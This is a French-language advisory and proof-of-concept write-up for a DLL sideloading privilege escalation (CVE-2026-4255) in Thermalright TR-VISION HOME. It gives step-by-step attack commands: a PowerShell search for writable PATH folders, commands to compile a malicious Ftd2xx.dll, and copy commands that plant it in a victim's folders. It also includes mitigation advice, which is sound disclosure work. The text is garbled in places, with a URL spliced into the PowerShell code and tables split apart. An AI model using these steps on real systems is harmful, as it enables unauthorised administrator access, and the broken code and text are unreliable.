
Preuve de concept pour CVE-2026-4255 : escalade de privilèges par chargement latéral de DLL dans Thermalright TR-VISION HOME via l'exploitation du répertoire PATH, avec une analyse complète des causes racines et des conseils d'atténuation.
Sévérité : HAUTE (CVSS 8.4)
CWE : CWE-829 Inclusion de fonctionnalités provenant d’une sphère de contrôle non fiable
Publiée : 16/03/2026
CNA : Toreon
Versions concernées : Thermalright TR-VISION HOME ≤ 2.0.5 (Windows 64 bits)
Découverte par : Ard33
Thermalright TR-VISION HOME charge Ftd2xx.dll (bibliothèque USB-série FTDI) en utilisant l’ordre de recherche de DLL par défaut de Windows. Cet ordre inclut des répertoires accessibles en écriture par l’utilisateur avant les emplacements système protégés. TR-VISION HOME s’exécutant toujours avec des privilèges administratifs et n’effectuant aucune vérification d’intégrité ou de signature sur les bibliothèques chargées, un attaquant capable d’écrire dans n’importe quel répertoire du PATH peut placer une Ftd2xx.dll malveillante et la faire charger avec des privilèges élevés lors du prochain lancement de l’application.
Aucun droit administrateur n’est nécessaire pour placer la DLL. Un utilisateur à faibles privilèges peut exploiter cette vulnérabilité contre tout utilisateur qui lance ensuite TR-VISION HOME avec élévation de privilèges.
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
| Métrique | Valeur |
|---|---|
| Vecteur d’attaque | Local |
| Complexité de l’attaque | Faible |
| Prérequis d’attaque | Aucun |
L’application appelle LoadLibrary("Ftd2xx.dll") (ou l’importe implicitement au chargement) sans spécifier de chemin complet. Windows résout la bibliothèque en parcourant l’ordre de recherche défini dans MSDN – Ordre de recherche des bibliothèques de liens dynamiques :
C:\Windows\System32)PATH ← exploitableUn attaquant place Ftd2xx.dll dans un répertoire accessible en écriture qui apparaît sur PATH avant System32. C:\Users\<User>\.local\bin est un tel répertoire et est présent par défaut dans PATH, ce qui en fait un emplacement de dépôt fiable.
| Logiciel | Version | Plateforme |
|---|---|---|
| Thermalright TR-VISION HOME | ≤ 2.0.5 | Windows x64 |
Testé sur TR-VISION HOME 2.0.5 sous Windows 11.
%PATH%1. Identifier un répertoire du PATH accessible en écriture
$env:PATH -split ';' | Where-Object {
if (-not $_ -or -not (Test-Path $_)) { return $false }
try {
$t = Join-Path $_ '.wrtest'
[System.IO.File]:https://raw.githubusercontent.com/ard33/cve-2026-4255/HEAD/:Create($t).Close()
Remove-Item $t -Force
$true
} catch { $false }
}
Un répertoire par défaut fiable : C:\Users\<User>\.local\bin
2. Compiler la DLL de la PoC
MinGW (cross ou natif) :
gcc -shared -o Ftd2xx.dll poc/Ftd2xx.c -Wl,--out-implib,Ftd2xx.lib
MSVC :
cl /LD poc\Ftd2xx.c /Fe:Ftd2xx.dll
3. Placer la DLL
Choisissez n’importe quel répertoire accessible en écriture de l’étape 1. Deux répertoires par défaut courants :
:: Répertoire par défaut des scripts uv / pipx
copy Ftd2xx.dll "C:\Users\<victim>\.local\bin\Ftd2xx.dll"
:: Lanceur Python (installation Python standard)
copy Ftd2xx.dll "C:\Users\<victim>\AppData\Local\Programs\Python\Launcher\Ftd2xx.dll"
Aucune élévation de privilège n’est requise pour cette étape.
4. Déclenchement
La victime lance TR-VISION HOME (par exemple depuis le menu Démarrer ou la barre d’état système). La boîte de dialogue UAC exécute l’application avec des privilèges administratifs. Pendant l’initialisation, Ftd2xx.dll est résolue via l’ordre de recherche, la copie placée est trouvée avant System32, et le DllMain de l’attaquant s’exécute dans le processus élevé.
5. Résultat attendu
C:\Users\Public\CVE-2026-4255_pwned.txt est créé, contenant :
TokenIsElevated = YESProcmon montrant TR-VISION HOME (PID 78940) cherchant Ftd2xx.dll dans les répertoires du PATH – tous retournent NAME NOT FOUND jusqu’à ce que la copie placée soit résolue :

Ftd2xx.dll placée dans AppData\Local\Programs\Python\Launcher\ (date 26/12/2025 – jour de la découverte) :

Invite de commande élevée générée par la DLL chargée – la barre de titre confirme le contexte Administrateur :

Version 2.0.5 de TR-VISION HOME :

Pour Thermalright :
Ftd2xx.dll en utilisant un chemin complet au moment de l’exécution :
LoadLibraryExA("C:\\Windows\\System32\\Ftd2xx.dll", NULL, LOAD_LIBRARY_SEARCH_SYSTEM32);
LOAD_LIBRARY_SEARCH_SYSTEM32 ou LOAD_LIBRARY_SEARCH_APPLICATION_DIR avec LoadLibraryEx.WinVerifyTrust.HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode = 1), bien que cela n’atténue pas complètement le dépôt basé sur le PATH.Pour les utilisateurs (temporaire) :
Ftd2xx.dll légitime (provenant du pack de pilotes D2XX de FTDI) directement dans le répertoire d’installation de TR-VISION HOME (par exemple C:\Program Files\TR-VISION HOME\). Le répertoire de l’application est le premier emplacement recherché, donc une copie légitime à cet endroit prend le pas sur tout dépôt basé sur le PATH.| Date | Événement |
|---|---|
| 26/12/2025 | Vulnérabilité découverte |
| 27/12/2025 | Fournisseur (Thermalright) contacté via les canaux de support |
| 16/03/2026 | Divulgation publique – CVE-2026-4255 attribuée par le CNA Toreon |
Cette preuve de concept est fournie à des fins éducatives et de recherche uniquement. La charge utile de la PoC est intentionnellement bénigne – elle écrit un fichier texte et affiche une boîte de message. Utilisez-la uniquement sur des systèmes dont vous êtes propriétaire ou pour lesquels vous avez obtenu une autorisation écrite explicite. L’auteur décline toute responsabilité en cas d’utilisation abusive.
| Privilèges requis | Aucun |
| Interaction utilisateur | Active (la victime lance l’application) |